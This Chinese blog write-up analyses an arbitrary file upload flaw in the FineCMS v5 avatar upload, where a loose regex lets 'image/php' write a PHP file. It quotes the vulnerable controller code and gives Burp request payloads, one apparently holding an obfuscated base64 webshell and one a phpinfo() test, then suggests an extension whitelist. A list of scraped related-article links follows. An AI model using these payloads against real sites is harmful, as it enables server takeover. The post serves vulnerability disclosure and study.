看到我私藏的一个洞被别人提交到补天拿奖金,所以我干脆在社区这里分享,给大家学习下

本文原创作者:常威,本文属i春秋原创奖励计划,未经许可禁止转载!

1.定位功能

下载源码在本地搭建起来后,正常登陆了用户后,我们为用户上传头像的时候用burp抓包,看看这个请求动作的细节

POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 208
Accept: application/json, text/javascript, */*; q=0.01
Origin: [url]http://127.0.0.1[/url]
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: [url]http://127.0.0.1/index.php?s=member&c=account&m=avatar[/url]
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Cookie: member_uid=1; member_cookie=2db4367e75f3b482d301; 24b16fede9a67c9251d3e7c7161c83ac_ci_session=41petq3697gckar57c45r1trum84vn4h
Connection: closetx=data%3Aimage%2Fjpeg%3Bbase64%2CPD9waHANCiRfPSIiOw0KJF9bKyIiXT0nJzsNCiRfPSIkXyIuIiI7DQokXz0oJF9bKyIiXXwiBiIpLigkX1srIiJdXiIEIikuKCRfWysiIl1eIhUiKTsNCg0KJHsnXycuJF99WydfJ10oJHsnXycuJF99WydfXyddKTsNCg0KDQo%3D

因为finecms是基于ci框架开发的,所以很容易就可以定位到相关的功能点,我们去看看源码吧。

2.审计代码

那我们根据路由规则到文件/finecms/dayrui/controllers/member/Account.php 看看upload这个功能点的代码

/***  上传头像处理*  传入头像压缩包,解压到指定文件夹后删除非图片文件*/public function upload() {// 创建图片存储文件夹$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';@dr_dir_delete($dir);!is_dir($dir) && dr_mkdirs($dir);if ($_POST['tx']) {$file = str_replace(' ', '+', $_POST['tx']);if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){$new_file = $dir.'0x0.'.$result[2];if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {exit(dr_json(0, '目录权限不足或磁盘已满'));} else {$this->load->library('image_lib');$config['create_thumb'] = TRUE;$config['thumb_marker'] = '';$config['maintain_ratio'] = FALSE;$config['source_image'] = $new_file;foreach (array(30, 45, 90, 180) as $a) {$config['width'] = $config['height'] = $a;$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];$this->image_lib->initialize($config);if (!$this->image_lib->resize()) {exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));break;}}list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);!$type && exit(dr_json(0, '图片字符串不规范'));}} else {exit(dr_json(0, '图片字符串不规范'));}} else {exit(dr_json(0, '图片不存在'));}// 上传图片到服务器if (defined('UCSSO_API')) {$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));!$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));}exit('1');}}

代码里 使用 preg_match(‘/^(data:\s*image\/(\w+);base64,)/’, $file, $result) 对$_POST['tx']的内容进行正则匹配,匹配成功的话就生成文件名

然后 if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], ”, $file)))) { 把文件内容写进刚刚生成的文件名

文件名是 $new_file = $dir.’0×0.’.$result[2];

其中 $dir = SYS_UPLOAD_PATH.’/member/’.$this->uid.’/';

那么,各位看官看到这里就知道怎么利用了,没错,它的正则表达式存在问题,看这里 image\/(w+),如果我们提交的$_POST['tx']里改成image/php ,那么它就会生成php格式的文件,所以这里可以利用然后生成php文件。

3.构造利用

那我们的利用就很简单了,上传头像的时候使用burp进行抓包,把image/jpeg 改成image/php 即可getshell!!!

看一下我的burp拦截修改后的信息:

POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 67
Origin: [url]http://127.0.0.1[/url]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: [url]http://127.0.0.1/index.php?s=member&c=account&m=avatar[/url]
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Cookie: member_uid=1; member_cookie=2db4367e75f3b482d301; 24b16fede9a67c9251d3e7c7161c83ac_ci_session=41petq3697gckar57c45r1trum84vn4h
Connection: closetx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHANCiBwaHBpbmZvKCk7IA0KPz4%3D

forward之后,我们到成都的街头走一走。。。啊,什么鬼,呸!我们到网站目录的头像上传目录去看一看,发现成功写入php文件

访问http://127.0.0.1/uploadfile/member/1/0×0.php,执行成功

小结

其实这个漏洞主要因为开发人员粗心造成的,这样的正则实在不该,最后应该有个白名单判断文件的后缀

参考资料

官方源码:http://git.oschina.net/dayrui/finecms

转载于:https://www.cnblogs.com/ichunqiu/p/7453208.html

关于finecms v5 会员头像 任意文件上传漏洞分析相关推荐

  1. php.ini 米拓_MetInfo(米拓) v5.1.3任意文件上传漏洞分析附利用EXP | CN-SEC 中文网

    摘要 MetInfo 23号发布了新版本5.1.5,修补了本文提到的漏洞,当然严格来说应该是任意变量覆盖漏洞-. ps:欢迎各种形式转载,首发t00ls.net MetInfo 23号发布了新版本5. ...

  2. 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  3. 某office前台任意文件上传漏洞分析

    X微e-office的那个前台任意文件上传漏洞已经被爆出一段时间了,相关的漏洞利用脚本甚至是漏洞批量利用脚本 也有很多.在这里根据系统代码结合POC来分析一下这个漏洞点. 定位漏洞点 [私信回复&qu ...

  4. PHPCMS最新版任意文件上传漏洞分析

    工具:火狐插件hackbar 前几天就听朋友说PHPCMS最新版出了几个洞,有注入还有任意文件上传,注入我倒不是很惊讶,因为phpcms只要拿到了authkey注入就一大堆-- 任意文件上传倒是很惊讶 ...

  5. 畅捷通T+ v17任意文件上传漏洞复现

    1.前言 8月29晚上就开始收到通知,让我们来排查一下是否有使用畅捷通的系统,说是疑似0day导致很多用户被植入勒索病毒,一时间风头十足.第二天很多平台都更新的防护策略,本次漏洞是任意文件上传漏洞,如 ...

  6. php上传漏洞绕过gd库,jQuery File Upload任意文件上传漏洞

    事件背景 jQuery是一个快速.简洁的JavaScript框架,是继Prototype之后又一个JavaScript代码库(或JavaScript框架).jQuery File Upload一个jQ ...

  7. 任意文件上传mysql_BigDump 跨站脚本、SQL注入、任意文件上传漏洞

    发布日期:2012-11-28 更新日期:2012-12-04 受影响系统: ozerov BigDump 0.29b 描述: ------------------------------------ ...

  8. vc++ 6.0 创建程序快捷方式的一个例子源码_漏洞复现:phpcms v9.6.0任意文件上传漏洞(CVE201814399)...

    文章说明 漏洞复现是为了学习漏洞利用所写,漏洞都是互联网上以流传已久的各种漏洞的利用及原理,用来增强自己见识,培养自己动手能力,有兴趣的朋友可自行搭建环境练习.源码下载连接在文章最后. 漏洞说明 PH ...

  9. 织梦guestbook.php漏洞,DEDE:织梦漏洞修复(含任意文件上传漏洞与注入漏洞)

    这几天阿里频繁提醒网站有漏洞,搞得我不胜其烦,好吧,我修复还不行吗?搜索之后整理如下,仅供参考(5.7以上版本适用): 任意文件上传漏洞修复 一./include/dialog/select_soft ...

  10. 详细分析 Sonlogger 任意文件上传漏洞 (CVE-2021-27964)

     聚焦源代码安全,网罗国内外最新资讯! 概述 Sonlogger 是土耳其SFC 公司 开发的一款应用软件,兼容土耳其<第5651号法>,是一款基于 Web 的 SonicWall 防火墙 ...

最新文章

  1. [转载]python optionparser1
  2. java线程 yield_Java线程中yield与join方法的区别
  3. Scala基础:定义变量和逻辑判断语句以及方法和函数
  4. Android Activity和Fragment的转场动画
  5. python3.8.5安装-centos7 编译安装python3.8.5
  6. linux 安装 hadoop
  7. mysql 索引- 笔记
  8. php redis 签到,基于Redis位图实现用户签到功能
  9. 我敲的不是代码,而是……
  10. 这位 GitHub 冠军项目背后的“老男人”,堪称 10 倍程序员本尊!
  11. JDBC入门(5)--- 时间类型、大数据
  12. OC可变数组的常用操作
  13. 假如时光倒流, 我会这么学习Java
  14. matlab数字图像处理实验报告
  15. 【CV-Paper 06】Inception V3:Rethinking the Inception Architecture for Computer Vision
  16. cutting stock 问题的列生成算法
  17. 02—JAVA(基础)—(数据类型转换,运算符,方法)
  18. linux 抓图,关于Linux下的抓图软件和使用方法介绍
  19. 基于市场看中国手游发展大环境
  20. Word目录第一行和最后一行格式不对(首行缩进)的解决方案

热门文章

  1. 彼时彼刻恰似此时此刻
  2. 一个app的流程分析
  3. Referenced file contains errors (xml文件第一行小红叉错误)
  4. 路由器DNS被劫持的解决办法,dns被劫持怎么办?
  5. php实现QQ打开跳转浏览器,【网站】 简单通用微信QQ跳转浏览器打开代码
  6. qq浏览器无小程序版本号与服务器不符,QQ浏览器发力小程序,同时兼容适配微信小程序...
  7. 标准焦距;焦距与景深的关系
  8. IOS开发之——图片裁剪(82)
  9. java线程池中的Worker解析
  10. 锂离子电容器_离子电容器:从Mac的App到iOS IPA